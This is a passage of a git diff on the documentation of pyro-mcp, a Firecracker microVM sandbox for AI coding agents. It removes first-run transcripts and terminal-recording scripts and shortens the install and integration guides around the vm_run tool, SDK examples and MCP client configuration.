timeout_seconds=30, + network=False, +) +print(result["stdout"]) +``` + +Lower-level lifecycle control remains available: + +```python +from pyro_mcp import Pyro + +pyro = Pyro() +created = pyro.create_vm( + environment="debian:12", + vcpu_count=1, + mem_mib=1024, + ttl_seconds=600, + network=True, +) +vm_id = created["vm_id"] +pyro.start_vm(vm_id) +result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30) +print(result["stdout"]) +``` + +Environment management is also available through the SDK: + +```python +from pyro_mcp import Pyro + +pyro = Pyro() +print(pyro.list_environments()) +print(pyro.inspect_environment("debian:12")) +``` + +## MCP Tools + +Primary agent-facing tool: + +- `vm_run(environment, command, vcpu_count, mem_mib, timeout_seconds=30, ttl_seconds=600, network=false)` + +Advanced lifecycle tools: + +- `vm_list_environments()` +- `vm_create(environment, vcpu_count, mem_mib, ttl_seconds=600, network=false)` +- `vm_start(vm_id)` +- `vm_exec(vm_id, command, timeout_seconds=30)` +- `vm_stop(vm_id)` +- `vm_delete(vm_id)` +- `vm_status(vm_id)` +- `vm_network_info(vm_id)` +- `vm_reap_expired()` + +## Integration Examples + +- Python one-shot SDK example: [examples/python_run.py](examples/python_run.py) +- Python lifecycle example: [examples/python_lifecycle.py](examples/python_lifecycle.py) +- MCP client config example: [examples/mcp_client_config.md](examples/mcp_client_config.md) +- Claude Desktop MCP config: [examples/claude_desktop_mcp_config.json](examples/claude_desktop_mcp_config.json) +- Cursor MCP config: [examples/cursor_mcp_config.json](examples/cursor_mcp_config.json) +- OpenAI Responses API example: [examples/openai_responses_vm_run.py](examples/openai_responses_vm_run.py) +- LangChain wrapper example: [examples/langchain_vm_run.py](examples/langchain_vm_run.py) +- Agent-ready `vm_run` example: [examples/agent_vm_run.py](examples/agent_vm_run.py) + +## Runtime + +The package ships an embedded Linux x86_64 runtime payload with: + +- Firecracker +- Jailer +- guest agent +- runtime manifest and diagnostics + +No system Firecracker installation is required. +`pyro` installs curated environments into a local cache and reports their status through `pyro env inspect` and `pyro doctor`. ## Contributor Workflow @@ -275,14 +192,11 @@ make check make dist-check ``` -Contributor runtime sources live under `runtime_sources/`. The packaged runtime -bundle under `src/pyro_mcp/runtime_bundle/` contains the embedded boot/runtime -assets plus manifest metadata. End-user environment installs pull -OCI-published environments by default. Use -`PYRO_RUNTIME_BUNDLE_DIR=build/runtime_bundle` only when you are explicitly -validating a locally built contributor runtime bundle. +Contributor runtime source artifacts are still maintained under `src/pyro_mcp/runtime_bundle/` and `runtime_sources/`. -Official environment publication is performed locally against Docker Hub: +Official environment publication is automated through +`.github/workflows/publish-environments.yml`. +For a local publish against Docker Hub: ```bash export DOCKERHUB_USERNAME='your-dockerhub-username' @@ -291,9 +205,20 @@ make runtime-materialize make runtime-publish-official-environments-oci ``` +`make runtime-publish-environment-oci` auto-exports the OCI layout for the selected +environment if it is missing. +The publisher accepts either `DOCKERHUB_USERNAME` and `DOCKERHUB_TOKEN` or +`OCI_REGISTRY_USERNAME` and `OCI_REGISTRY_PASSWORD`. +Docker Hub uploads are chunked by default for large rootfs layers; if you need to tune a slow +link, use `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and +`PYRO_OCI_REQUEST_TIMEOUT_SECONDS`. + For a local PyPI publish: ```bash export TWINE_PASSWORD='pypi-...' make pypi-publish ``` + +`make pypi-publish` defaults `TWINE_USERNAME` to `__token__`. +Set `PYPI_REPOSITORY_URL=https://test.pypi.org/legacy/` to publish to TestPyPI instead. diff --git a/docs/assets/first-run.gif b/docs/assets/first-run.gif deleted file mode 100644 index 981e11d..0000000 Binary files a/docs/assets/first-run.gif and /dev/null differ diff --git a/docs/assets/first-run.tape b/docs/assets/first-run.tape deleted file mode 100644 index ce6ea1e..0000000 --- a/docs/assets/first-run.tape +++ /dev/null @@ -1,44 +0,0 @@ -Output docs/assets/first-run.gif - -Require uv - -Set Shell "zsh" -Set FontSize 18 -Set Width 1200 -Set Height 760 -Set Theme "Dracula" -Set TypingSpeed 35ms -Set Padding 24 -Set WindowBar Colorful - -Hide -Type "cd /home/thales/projects/personal/pyro" -Enter -Type "export UV_CACHE_DIR=.uv-cache" -Enter -Type "export PYRO_ENVIRONMENT_CACHE_DIR=$(mktemp -d)" -Enter -Type "uvx --from pyro-mcp pyro --version >/dev/null" -Enter -Show - -Type "# Check that the host can boot and run guests" -Enter -Sleep 700ms -Type "uvx --from pyro-mcp pyro doctor" -Enter -Sleep 2200ms - -Type "# Pull the default environment into a fresh local cache" -Enter -Sleep 700ms -Type "uvx --from pyro-mcp pyro env pull debian:12" -Enter -Sleep 2200ms - -Type "# Run one isolated command inside an ephemeral microVM" -Enter -Sleep 700ms -Type "uvx --from pyro-mcp pyro run debian:12 -- git --version" -Enter -Sleep 2600ms diff --git a/docs/assets/workspace-first-run.gif b/docs/assets/workspace-first-run.gif deleted file mode 100644 index 9894832..0000000 Binary files a/docs/assets/workspace-first-run.gif and /dev/null differ diff --git a/docs/assets/workspace-first-run.tape b/docs/assets/workspace-first-run.tape deleted file mode 100644 index df33f48..0000000 --- a/docs/assets/workspace-first-run.tape +++ /dev/null @@ -1,104 +0,0 @@ -Output docs/assets/workspace-first-run.gif - -Require uv -Require python3 - -Set Shell "zsh" -Set FontSize 18 -Set Width 1480 -Set Height 900 -Set Theme "Dracula" -Set TypingSpeed 34ms -Set Padding 24 -Set WindowBar Colorful - -Hide -Type "cd /home/thales/projects/personal/pyro" -Enter -Type "setopt interactivecomments" -Enter -Type "export UV_CACHE_DIR=.uv-cache" -Enter -Type "export PYRO_ENVIRONMENT_CACHE_DIR=$(mktemp -d)" -Enter -Type "alias pyro='uv run pyro'" -Enter -Type "SEED_DIR=$(mktemp -d)" -Enter -Type "EXPORT_DIR=$(mktemp -d)" -Enter -Type 'printf "%s\n" "hello from seed" > "$SEED_DIR/note.txt"' -Enter -Type 'printf "%s\n" "--- a/note.txt" "+++ b/note.txt" "@@ -1 +1 @@" "-hello from seed" "+hello from patch" > "$SEED_DIR/fix.patch"' -Enter -Type 'printf "%s\n" "temporary drift" > "$SEED_DIR/drift.txt"' -Enter -Type "pyro env pull debian:12 >/dev/null" -Enter -Show - -Type "# Create a named workspace from host content" -Enter -Sleep 700ms -Type 'WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path "$SEED_DIR" --name repro-fix --label issue=123 --id-only)"' -Enter -Sleep 500ms -Type 'echo "$WORKSPACE_ID"' -Enter -Sleep 1600ms - -Type "# Inspect the seeded file, then patch it without shell quoting" -Enter -Sleep 700ms -Type 'pyro workspace file read "$WORKSPACE_ID" note.txt --content-only' -Enter -Sleep 1400ms -Type 'pyro workspace patch apply "$WORKSPACE_ID" --patch-file "$SEED_DIR/fix.patch"' -Enter -Sleep 1800ms -Type 'pyro workspace exec "$WORKSPACE_ID" -- cat note.txt' -Enter -Sleep 1800ms - -Type "# Capture a checkpoint, then drift away from it" -Enter -Sleep 700ms -Type 'pyro workspace snapshot create "$WORKSPACE_ID" checkpoint' -Enter -Sleep 1600ms -Type 'pyro workspace file write "$WORKSPACE_ID" note.txt --text-file "$SEED_DIR/drift.txt"' -Enter -Sleep 1800ms -Type 'pyro workspace exec "$WORKSPACE_ID" -- cat note.txt' -Enter -Sleep 1800ms - -Type "# Start one service, then reset the whole sandbox to the checkpoint" -Enter -Sleep 700ms -Type 'pyro workspace service start "$WORKSPACE_ID" web --ready-file .web-ready -- sh -lc "touch .web-ready && while true; do sleep 60; done"' -Enter -Sleep 2200ms -Type 'pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint' -Enter -Sleep 2200ms -Type 'pyro workspace exec "$WORKSPACE_ID" -- cat note.txt' -Enter -Sleep 1800ms - -Type "# Export the recovered file back to the host" -Enter -Sleep 700ms -Type 'pyro workspace export "$WORKSPACE_ID" note.txt --output "$EXPORT_DIR/note.txt"' -Enter -Sleep 1800ms -Type 'cat "$EXPORT_DIR/note.txt"' -Enter -Sleep 1600ms - -Type "# Remove the workspace when the loop is done" -Enter -Sleep 700ms -Type 'pyro workspace delete "$WORKSPACE_ID"' -Enter -Sleep 2000ms diff --git a/docs/first-run.md b/docs/first-run.md deleted file mode 100644 index 04af501..0000000 --- a/docs/first-run.md +++ /dev/null @@ -1,232 +0,0 @@ -# First Run Transcript - -This is the intended evaluator-to-chat-host path for a first successful run on -a supported host. - -Copy the commands as-is. Paths and timing values will differ on your machine. -The same sequence works with an installed `pyro` binary by dropping the -`uvx --from pyro-mcp` prefix. If you are running from a source checkout -instead of the published package, replace `pyro` with `uv run pyro`. - -`pyro-mcp` currently has no users. Expect breaking changes while the chat-host -path is still being shaped. - -## 1. Verify the host - -```bash -$ uvx --from pyro-mcp pyro doctor --environment debian:12 -Platform: linux-x86_64 -Runtime: PASS -KVM: exists=yes readable=yes writable=yes -Environment cache: /home/you/.cache/pyro-mcp/environments -Catalog version: 4.5.0 -Capabilities: vm_boot=yes guest_exec=yes guest_network=yes -Networking: tun=yes ip_forward=yes -Daily loop: COLD (debian:12) - Run: pyro prepare debian:12 -``` - -## 2. Inspect the catalog - -```bash -$ uvx --from pyro-mcp pyro env list -Catalog version: 4.4.0 -debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. -debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. -debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. -``` - -## 3. Pull the default environment - -The first pull downloads an OCI environment from public Docker Hub, requires -outbound HTTPS access to `registry-1.docker.io`, and needs local cache space -for the guest image. See [host-requirements.md](host-requirements.md) for the -full host requirements. - -```bash -$ uvx --from pyro-mcp pyro env pull debian:12 -[pull] phase=install environment=debian:12 -[pull] phase=ready environment=debian:12 -Pulled: debian:12 -Version: 1.0.0 -Distribution: debian 12 -Installed: yes -Cache dir: /home/you/.cache/pyro-mcp/environments -Default packages: bash, coreutils, git -Install dir: /home/you/.cache/pyro-mcp/environments/linux-x86_64/debian_12-1.0.0 -OCI source: registry-1.docker.io/thalesmaciel/pyro-environment-debian-12:1.0.0 -``` - -## 4. Run one command in a guest - -```bash -$ uvx --from pyro-mcp pyro run debian:12 -- git --version -[run] phase=create environment=debian:12 -[run] phase=start vm_id=... -[run] phase=execute vm_id=... -[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=... -git version ... -``` - -The guest command output and the `[run] ...` summary are written to different -streams, so they may appear in either order in terminals or capture tools. Use -`--json` if you need a deterministic structured result. - -## 5. Start the MCP server - -Warm the daily loop first so the host is already ready for repeated create and -reset cycles: - -```bash -$ uvx --from pyro-mcp pyro prepare debian:12 -Prepare: debian:12 -Daily loop: WARM -Result: prepared network_prepared=no -``` - -Use a named mode when one workflow already matches the job: - -```bash -$ uvx --from pyro-mcp pyro mcp serve --mode repro-fix -$ uvx --from pyro-mcp pyro mcp serve --mode inspect -$ uvx --from pyro-mcp pyro mcp serve --mode cold-start -$ uvx --from pyro-mcp pyro mcp serve --mode review-eval -``` - -Use the generic no-mode path when the mode feels too narrow. Bare -`pyro mcp serve` still starts `workspace-core`. From a repo root, it also -auto-detects the current Git checkout so the first `workspace_create` can omit -`seed_path`: - -```bash -$ uvx --from pyro-mcp pyro mcp serve -``` - -If the host does not preserve the server working directory: - -```bash -$ uvx --from pyro-mcp pyro mcp serve --project-path /abs/path/to/repo -``` - -If you are outside a local checkout: - -```bash -$ uvx --from pyro-mcp pyro mcp serve --repo-url https://github.com/example/project.git -``` - -## 6. Connect a chat host - -Use the helper flow first: - -```bash -$ uvx --from pyro-mcp pyro host connect codex --mode repro-fix -$ uvx --from pyro-mcp pyro host connect codex --mode inspect -$ uvx --from pyro-mcp pyro host connect claude-code --mode cold-start -$ uvx --from pyro-mcp pyro host connect claude-code --mode review-eval -$ uvx --from pyro-mcp pyro host print-config opencode --mode repro-fix -``` - -If setup drifts later: - -```bash -$ uvx --from pyro-mcp pyro host doctor -$ uvx --from pyro-mcp pyro host repair claude-code -$ uvx --from pyro-mcp pyro host repair codex -$ uvx --from pyro-mcp pyro host repair opencode -``` - -Claude Code cold-start or review-eval: - -```bash -$ uvx --from pyro-mcp pyro host connect claude-code --mode cold-start -$ claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start -$ claude mcp list -``` - -Codex repro-fix or inspect: - -```bash -$ uvx --from pyro-mcp pyro host connect codex --mode repro-fix -$ codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix -$ codex mcp list -``` - -OpenCode uses the local config shape shown in: - -- [opencode_mcp_config.json](../examples/opencode_mcp_config.json) - -Other host-specific references: - -- [claude_code_mcp.md](../examples/claude_code_mcp.md) -- [codex_mcp.md](../examples/codex_mcp.md) -- [mcp_client_config.md](../examples/mcp_client_config.md) - -## 7. Continue into a real workflow - -Once the host is connected, move to one of the five recipe docs in -[use-cases/README.md](use-cases/README.md). - -The shortest chat-first mode and story is: - -- [use-cases/repro-fix-loop.md](use-cases/repro-fix-loop.md) - -If you want terminal-level visibility into what the agent gets, use the manual -workspace flow below: - -```bash -$ export WORKSPACE_ID="$(uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)" -$ uvx --from pyro-mcp pyro workspace list -$ uvx --from pyro-mcp pyro workspace sync push "$WORKSPACE_ID" ./changes -$ uvx --from pyro-mcp pyro workspace file read "$WORKSPACE_ID" note.txt --content-only -$ uvx --from pyro-mcp pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch -$ uvx --from pyro-mcp pyro workspace exec "$WORKSPACE_ID" -- cat note.txt -$ uvx --from pyro-mcp pyro workspace summary "$WORKSPACE_ID" -$ uvx --from pyro-mcp pyro workspace snapshot create "$WORKSPACE_ID" checkpoint -$ uvx --from pyro-mcp pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint -$ uvx --from pyro-mcp pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt -$ uvx --from pyro-mcp pyro workspace delete "$WORKSPACE_ID" -``` - -Move to the generic no-mode path when the named mode is too narrow. Move to -`--profile workspace-full` only when the chat really needs shells, services, -snapshots, secrets, network policy, or disk tools. - -## 8. Trust the smoke pack - -The repo now treats the full smoke pack as the trustworthy guest-backed -verification path for the advertised workflows: - -```bash -$ make smoke-use-cases -``` - -That runner creates real guest-backed workspaces, exercises all five documented -stories, exports concrete results where relevant, and cleans up on both success -and failure. - -For the machine-level warmup plus retry story specifically: - -```bash -$ make smoke-daily-loop -``` - -## 9. Optional one-shot demo - -```bash -$ uvx --from pyro-mcp pyro demo -{ - "cleanup": { - "deleted": true, - "reason": "post_exec_cleanup", - "vm_id": "..." - }, - "command": "git --version", - "environment": "debian:12", - "execution_mode": "guest_vsock", - "exit_code": 0, - "stdout": "git version ...\n" -} -``` - -`pyro demo` proves the one-shot create/start/exec/delete VM lifecycle works end -to end. diff --git a/docs/host-requirements.md b/docs/host-requirements.md index 132d74e..81d0754 100644 --- a/docs/host-requirements.md +++ b/docs/host-requirements.md @@ -25,19 +25,7 @@ The current implementation uses `sudo -n` for host networking commands when a ne pyro doctor ``` -In the default human-readable output, check: - -- `Runtime: PASS` -- `KVM: exists=yes readable=yes writable=yes` -- `Networking: tun=yes ip_forward=yes` - -If you need the raw structured fields instead: - -```bash -pyro doctor --json -``` - -Check: +Check these fields in the output: - `runtime_ok` - `kvm` diff --git a/docs/install.md b/docs/install.md index c809a35..068d44a 100644 --- a/docs/install.md +++ b/docs/install.md @@ -1,312 +1,56 @@ # Install -`pyro-mcp` is built for chat-based coding agents on Linux `x86_64` with KVM. -This document is intentionally biased toward that path. +## Requirements -`pyro-mcp` currently has no users. Expect breaking changes while the chat-host -flow is still being shaped. - -## Support Matrix - -Supported today: - -- Linux `x86_64` -- Python `3.12+` +- Linux x86_64 host +- Python 3.12+ - `uv` - `/dev/kvm` -Optional for outbound guest networking: +If you want outbound guest networking: - `ip` - `nft` or `iptables` - privilege to create TAP devices and configure NAT -Not supported today: +## Fastest Start -- macOS -- Windows -- Linux hosts without working KVM at `/dev/kvm` - -If you do not already have `uv`, install it first: - -```bash -python -m pip install uv -``` - -Use these command forms consistently: - -- published package without install: `uvx --from pyro-mcp pyro ...` -- installed package: `pyro ...` -- source checkout: `uv run pyro ...` - -## Fastest Evaluation Path - -Use either of these equivalent evaluator paths: - -```bash -# Package without install -uvx --from pyro-mcp pyro doctor -uvx --from pyro-mcp pyro prepare debian:12 -uvx --from pyro-mcp pyro run debian:12 -- git --version -``` - -```bash -# Already installed -pyro doctor -pyro prepare debian:12 -pyro run debian:12 -- git --version -``` - -If you are running from a repo checkout instead, replace `pyro` with -`uv run pyro`. - -After that one-shot proof works, the intended next step is a warmed daily loop -plus a named chat mode through `pyro host connect` or `pyro host print-config`. - -## 1. Check the host - -```bash -uvx --from pyro-mcp pyro doctor --environment debian:12 -``` - -Expected success signals: - -```bash -Platform: linux-x86_64 -Runtime: PASS -KVM: exists=yes readable=yes writable=yes -Environment cache: /home/you/.cache/pyro-mcp/environments -Catalog version: 4.5.0 -Capabilities: vm_boot=yes guest_exec=yes guest_network=yes -Networking: tun=yes ip_forward=yes -Daily loop: COLD (debian:12) - Run: pyro prepare debian:12 -``` - -If `Runtime: FAIL`, stop here and use [troubleshooting.md](troubleshooting.md). - -## 2. Inspect the catalog - -```bash -uvx --from pyro-mcp pyro env list -``` - -Expected output: - -```bash -Catalog version: 4.4.0 -debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. -debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. -debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. -``` - -## 3. Pull the default environment - -```bash -uvx --from pyro-mcp pyro env pull debian:12 -``` - -The first pull downloads an OCI environment from public Docker Hub, requires -outbound HTTPS access to `registry-1.docker.io`, and needs local cache space -for the guest image. See [host-requirements.md](host-requirements.md) for the -full host requirements. - -Expected success signals: - -```bash -[pull] phase=install environment=debian:12 -[pull] phase=ready environment=debian:12 -Pulled: debian:12 -... -``` - -## 4. Run one command in a guest - -```bash -uvx --from pyro-mcp pyro run debian:12 -- git --version -``` - -Expected success signals: - -```bash -[run] phase=create environment=debian:12 -[run] phase=start vm_id=... -[run] phase=execute vm_id=... -[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=... -git version ... -``` - -The guest command output and the `[run] ...` summary are written to different -streams, so they may appear in either order. Use `--json` if you need a -deterministic structured result. - -## 5. Warm the daily loop - -```bash -uvx --from pyro-mcp pyro prepare debian:12 -``` - -That one command ensures the environment is installed, proves one guest-backed -create/exec/reset/delete loop, and records a warm manifest so the next -`pyro prepare debian:12` call can reuse it instead of repeating the full cycle. - -## 6. Connect a chat host - -Use the helper flow first: - -```bash -uvx --from pyro-mcp pyro host connect codex --mode repro-fix -uvx --from pyro-mcp pyro host connect codex --mode inspect -uvx --from pyro-mcp pyro host connect claude-code --mode cold-start -uvx --from pyro-mcp pyro host connect claude-code --mode review-eval -uvx --from pyro-mcp pyro host print-config opencode --mode repro-fix -``` - -If setup drifts later, inspect and repair it with: - -```bash -uvx --from pyro-mcp pyro host doctor -uvx --from pyro-mcp pyro host repair claude-code -uvx --from pyro-mcp pyro host repair codex -uvx --from pyro-mcp pyro host repair opencode -``` - -Use a named mode when one workflow already matches the job: - -```bash -uvx --from pyro-mcp pyro mcp serve --mode repro-fix -uvx --from pyro-mcp pyro mcp serve --mode inspect -uvx --from pyro-mcp pyro mcp serve --mode cold-start -uvx --from pyro-mcp pyro mcp serve --mode review-eval -``` - -Use the generic no-mode path when the mode feels too narrow. Bare -`pyro mcp serve` still starts `workspace-core`. From a repo root, it also -auto-detects the current Git checkout so the first `workspace_create` can omit -`seed_path`. +Run the MCP server directly from the package without a manual install: ```bash uvx --from pyro-mcp pyro mcp serve ``` -If the host does not preserve the server working directory, use: +Prefetch the default official environment: ```bash -uvx --from pyro-mcp pyro mcp serve --project-path /abs/path/to/repo +uvx --from pyro-mcp pyro env pull debian:12 ``` -If you are starting outside a local checkout, use a clean clone source: +Run one command in a curated environment: ```bash -uvx --from pyro-mcp pyro mcp serve --repo-url https://github.com/example/project.git +uvx --from pyro-mcp pyro run debian:12 --vcpu-count 1 --mem-mib 1024 -- git --version ``` -Copy-paste host-specific starts: - -- Claude Code setup: [claude_code_mcp.md](../examples/claude_code_mcp.md) -- Codex setup: [codex_mcp.md](../examples/codex_mcp.md) -- OpenCode config: [opencode_mcp_config.json](../examples/opencode_mcp_config.json) -- Generic MCP fallback: [mcp_client_config.md](../examples/mcp_client_config.md) - -Claude Code cold-start or review-eval: +Inspect the official environment catalog: ```bash -pyro host connect claude-code --mode cold-start -claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start +uvx --from pyro-mcp pyro env list ``` -Codex repro-fix or inspect: - -```bash -pyro host connect codex --mode repro-fix -codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix -``` - -OpenCode uses the `mcp` / `type: "local"` config shape shown in -[opencode_mcp_config.json](../examples/opencode_mcp_config.json). - -If `pyro-mcp` is already installed, replace `uvx --from pyro-mcp pyro` with -`pyro` in the same command or config shape. - -Use the generic no-mode path when the named mode is too narrow. Move to -`--profile workspace-full` only when the chat truly needs shells, services, -snapshots, secrets, network policy, or disk tools. - -## 7. Go from zero to hero - -The intended user journey is: - -1. validate the host with `pyro doctor --environment debian:12` -2. warm the machine with `pyro prepare debian:12` -3. prove guest execution with `pyro run debian:12 -- git --version` -4. connect Claude Code, Codex, or OpenCode with one named mode such as - `pyro host connect codex --mode repro-fix`, then use raw - `pyro mcp serve --mode ...` or the generic no-mode path when needed -5. use `workspace reset` as the normal retry step inside that warmed loop -6. start with one use-case recipe from [use-cases/README.md](use-cases/README.md) -7. trust but verify with `make smoke-use-cases` - -If you want the shortest chat-first story, start with -[use-cases/repro-fix-loop.md](use-cases/repro-fix-loop.md). - -## 8. Manual terminal workspace flow - -If you want to inspect the workspace model directly from the terminal, use the -companion flow below. This is for understanding and debugging the chat-host -product, not the primary story. - -```bash -uv tool install pyro-mcp -WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)" -pyro workspace list -pyro workspace update "$WORKSPACE_ID" --label owner=codex -pyro workspace sync push "$WORKSPACE_ID" ./changes -pyro workspace file read "$WORKSPACE_ID" note.txt --content-only -pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch -pyro workspace exec "$WORKSPACE_ID" -- cat note.txt -pyro workspace summary "$WORKSPACE_ID" -pyro workspace snapshot create "$WORKSPACE_ID" checkpoint -pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint -pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt -pyro workspace delete "$WORKSPACE_ID" -``` - -When you need deeper debugging or richer recipes, add: - -- `pyro workspace shell *` for interactive PTY state -- `pyro workspace service *` for long-running processes and readiness probes -- `pyro workspace create --network-policy egress+published-ports` plus - `workspace service start --publish` for host-probed services -- `pyro workspace create --secret` and `--secret-file` when the sandbox needs - private tokens -- `pyro workspace stop` plus `workspace disk *` for offline inspection - -## 9. Trustworthy verification path - -The five recipe docs in [use-cases/README.md](use-cases/README.md) are backed -by a real Firecracker smoke pack: - -```bash -make smoke-use-cases -``` - -Treat that smoke pack as the trustworthy guest-backed verification path for the -advertised chat-host workflows. - ## Installed CLI -If you already installed the package, the same path works with plain `pyro ...`: - ```bash uv tool install pyro-mcp pyro --version -pyro doctor --environment debian:12 -pyro prepare debian:12 -pyro run debian:12 -- git --version -pyro mcp serve +pyro env list +pyro env pull debian:12 +pyro env inspect debian:12 +pyro doctor ``` -## Contributor clone +## Contributor Clone ```bash git lfs install diff --git a/docs/integrations.md b/docs/integrations.md index 4974302..31398c9 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -1,257 +1,99 @@ -# Chat Host Integrations +# Integration Targets -This page documents the intended product path for `pyro-mcp`: +These are the main ways to integrate `pyro-mcp` into an LLM application. -- validate the host with the CLI -- warm the daily loop with `pyro prepare debian:12` -- run `pyro mcp serve` -- connect a chat host -- let the agent work inside disposable workspaces +## Recommended Default -`pyro-mcp` currently has no users. Expect breaking changes while this chat-host -path is still being shaped. +Use `vm_run` first. -Use this page after you have already validated the host and guest execution -through [install.md](install.md) or [first-run.md](first-run.md). +That keeps the model-facing contract small: -Recommended first commands before connecting a host: +- one tool +- one command +- one ephemeral VM +- automatic cleanup -```bash -pyro doctor --environment debian:12 -pyro prepare debian:12 -``` +Only move to lifecycle tools when the agent truly needs VM state across multiple calls. -## Recommended Modes +## OpenAI Responses API -Use a named mode when one workflow already matches the job: +Best when: -```bash -pyro host connect codex --mode repro-fix -pyro host connect codex --mode inspect -pyro host connect claude-code --mode cold-start -pyro host connect claude-code --mode review-eval -``` +- your agent already uses OpenAI models directly +- you want a normal tool-calling loop instead of MCP transport +- you want the smallest amount of integration code -The mode-backed raw server forms are: +Recommended surface: -```bash -pyro mcp serve --mode repro-fix -pyro mcp serve --mode inspect -pyro mcp serve --mode cold-start -pyro mcp serve --mode review-eval -``` +- `vm_run` -Use the generic no-mode path only when the named mode feels too narrow. +Canonical example: -## Generic Default +- [examples/openai_responses_vm_run.py](../examples/openai_responses_vm_run.py) -Bare `pyro mcp serve` starts `workspace-core`. From a repo root, it also -auto-detects the current Git checkout so the first `workspace_create` can omit -`seed_path`. That is the product path. +## MCP Clients -```bash -pyro mcp serve -``` +Best when: -If the host does not preserve cwd, fall back to: +- your host application already supports MCP +- you want `pyro` to run as an external stdio server +- you want tool schemas to be discovered directly from the server -```bash -pyro mcp serve --project-path /abs/path/to/repo -``` +Recommended entrypoint: -If you are outside a repo checkout entirely, start from a clean clone source: +- `pyro mcp serve` -```bash -pyro mcp serve --repo-url https://github.com/example/project.git -``` +Starter config: -Use `--profile workspace-full` only when the chat truly needs shells, services, -snapshots, secrets, network policy, or disk tools. +- [examples/mcp_client_config.md](../examples/mcp_client_config.md) +- [examples/claude_desktop_mcp_config.json](../examples/claude_desktop_mcp_config.json) +- [examples/cursor_mcp_config.json](../examples/cursor_mcp_config.json) -## Helper First +## Direct Python SDK -Use the helper flow before the raw host CLI commands: +Best when: -```bash -pyro host connect codex --mode repro-fix -pyro host connect codex --mode inspect -pyro host connect claude-code --mode cold-start -pyro host connect claude-code --mode review-eval -pyro host print-config opencode --mode repro-fix -pyro host doctor -pyro host repair opencode -``` +- your application owns orchestration itself +- you do not need MCP transport +- you want direct access to `Pyro` -These helpers wrap the same `pyro mcp serve` entrypoint, make named modes the -first user-facing story, and still leave the generic no-mode path available -when a mode is too narrow. +Recommended default: -## Claude Code +- `Pyro.run_in_vm(...)` -Preferred: +Examples: -```bash -pyro host connect claude-code --mode cold-start -``` +- [examples/python_run.py](../examples/python_run.py) +- [examples/python_lifecycle.py](../examples/python_lifecycle.py) -Repair: +## Agent Framework Wrappers -```bash -pyro host repair claude-code -``` +Examples: -Package without install: +- LangChain tools +- PydanticAI tools +- custom in-house orchestration layers -```bash -claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start -claude mcp list -``` +Best when: -If Claude Code launches the server from an unexpected cwd, use: +- you already have an application framework that expects a Python callable tool +- you want to wrap `vm_run` behind framework-specific abstractions -```bash -claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start --project-path /abs/path/to/repo -``` +Recommended pattern: -Already installed: +- keep the framework wrapper thin +- map framework tool input directly onto `vm_run` +- avoid exposing lifecycle tools unless the framework truly needs them -```bash -claude mcp add pyro -- pyro mcp serve -claude mcp list -``` +Concrete example: -Reference: +- [examples/langchain_vm_run.py](../examples/langchain_vm_run.py) -- [claude_code_mcp.md](../examples/claude_code_mcp.md) +## Selection Rule -## Codex +Choose the narrowest integration that matches the host environment: -Preferred: - -```bash -pyro host connect codex --mode repro-fix -``` - -Repair: - -```bash -pyro host repair codex -``` - -Package without install: - -```bash -codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix -codex mcp list -``` - -If Codex launches the server from an unexpected cwd, use: - -```bash -codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix --project-path /abs/path/to/repo -``` - -Already installed: - -```bash -codex mcp add pyro -- pyro mcp serve -codex mcp list -``` - -Reference: - -- [codex_mcp.md](../examples/codex_mcp.md) - -## OpenCode - -Preferred: - -```bash -pyro host print-config opencode -pyro host repair opencode -``` - -Use the local MCP config shape from: - -- [opencode_mcp_config.json](../examples/opencode_mcp_config.json) - -Minimal `opencode.json` snippet: - -```json -{ - "mcp": { - "pyro": { - "type": "local", - "enabled": true, - "command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"] - } - } -} -``` - -If `pyro-mcp` is already installed, replace `uvx --from pyro-mcp pyro` with -`pyro` in the same config shape. - -If OpenCode launches the server from an unexpected cwd, add -`"--project-path", "/abs/path/to/repo"` after `"serve"` in the same command -array. - -## Generic MCP Fallback - -Use this only when the host expects a plain `mcpServers` JSON config, when the -named modes are too narrow, and when it does not already have a dedicated -example in the repo: - -- [mcp_client_config.md](../examples/mcp_client_config.md) - -Generic `mcpServers` shape: - -```json -{ - "mcpServers": { - "pyro": { - "command": "uvx", - "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve"] - } - } -} -``` - -## When To Use `workspace-full` - -Stay on bare `pyro mcp serve` unless the chat host truly needs: - -- persistent PTY shell sessions -- long-running services and readiness probes -- secrets -- guest networking and published ports -- stopped-workspace disk inspection or raw ext4 export - -When that is necessary: - -```bash -pyro mcp serve --profile workspace-full -``` - -## Recipe-Backed Workflows - -Once the host is connected, move to the five real workflows in -[use-cases/README.md](use-cases/README.md): - -- 